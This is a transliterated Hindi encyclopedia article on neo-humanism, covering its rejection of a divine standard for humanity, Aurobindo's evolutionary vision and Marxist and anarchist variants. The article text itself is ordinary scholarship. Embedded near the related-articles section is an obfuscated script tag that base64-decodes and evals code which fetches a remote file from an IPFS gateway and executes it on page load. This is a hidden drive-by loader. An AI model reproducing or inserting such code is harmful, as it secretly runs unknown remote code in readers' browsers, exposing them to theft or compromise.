नवमानववाद

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

navamanavavad ek pramukh vicharadhara hai, jisane pashchimi jagath mean madhy kal ki samapti karane mean vishesh yogadan diya. madhy kal mean dharmik ghatatop ke karan samast moolyoan aur pratimanoan ka srot kisi-n-kisi divy satta ko mana jata tha aur manushy ko arambh se hi us divy pratiman se niche gira hua prani samajha jata tha. manavavadiyoan ne is manyata ka tiraskar kiya.

vichar

manavavadiyoan ne yah ghoshit kiya ki sampoornatam manushy hi manushy ka pratiman hai. isake lie manavavadiyoan ne ek or manavopari divy satta ka nishedh kiya aur doosari or amanaviy yaantrikata ka. manavavadi yah manate haian ki manushy mean jo pashavik hai aur jo divy hai, un donoan ke madhy mean kuchh aisa hai, jo poornat: manaviy hai aur usi ko naitikata, kala, saundary bodh tatha any achar-vichar ka pratiman manana chahie. kalaantar mean manavavad ke aantargat bahut-se vichar aur bahut prakar ki pravrittiyaan samahit hoti gayian, jinamean se bahut-si to paraspar virodhi bhi thian aur kabhi-kabhi manavata ki aisi vyakhyaean upasthit karati thian, jo ek-doosare se prithakh thian.[1]

pichhali ardh shatabdi mean kee aisi vicharadharaoan ka uday hua, jo navamanavavad ko apana adharabhoot siddhaant manati rahi haian. in vicharadharaoan mean manavata ko ek sthir aur sada ek-sa rahane vala tattv n manakar chirantan vikasashil tattv mana jata hai aur usi siddhaant ke anusar vartaman manushy ko vikas ki ek k di manakar bhavi manushy ko is yatra ki agami k di mana jata hai. usake vikas mean sahayak hone vale achar-vichar ko hi vartaman manushy ke lie adarsh ke roop mean svikar kiya jata hai. udaharan ke lie, aravind yah manate haian ki jaise nirantar vikas ki shrriankhala hamean pashuta se manushyata ki sthiti mean laee hai, vaise hi vah hamean isake age bhi le jayagi aur agami manushy mean ve katipay aantarik shaktiyoan ka vikas anumanit karate haian.[1]

marksavad dvara svikrit

aravind dvara nirdisht navamanavavad aur roman kaitholikoan dvara nirdisht navamanavavad moolat: astik hai aur manushy ke andar divy ke kramik sakshatkar mean vishvas karata hai, kiantu marksavad bhi navamanavavad ki pravrittiyoan ko svikar karata hai. usaka vishvas hai ki varg vibhajit hone ke karan vartaman manushy mean manushyata ke gunoan ka poorn vikas nahian ho paya ya hua bhi hai to vah kunthit ya ekaangi hua hai. agami vargahin samaj vyavastha mean manushy ke aantarik gunoan ka sampoorn vikas hoga.

marksavadi manushy ke samast aantarik vikas ka keandr bindu 'samajikata' manate haian. yadyapi arajakatavadi vicharak bhi navamanavavad ki kalpana karate hue vyavastha se nirapeksh poorn vyakti ko sthapit karana chahate haian. is prakar bahudha paraspar virodhi vritti ke vicharak bhi isi ek varg mean a jate haian. dhyan se dekhane par jnat hota hai ki agami manav ki kalpana kar aur usake sammukh vartaman manav ko mahattvahin batakar ya vyakti-manav ko samaj-manav ya divy-manav ke sammukh gaun siddh kar bahudha ye vicharak manavavad ki mool dharana se kafi door hat jate haian.[2][1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 hindi sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 314 |
  2. d aau. dharmavir bharati, sampadak 'dharmayug', bambee

sambandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah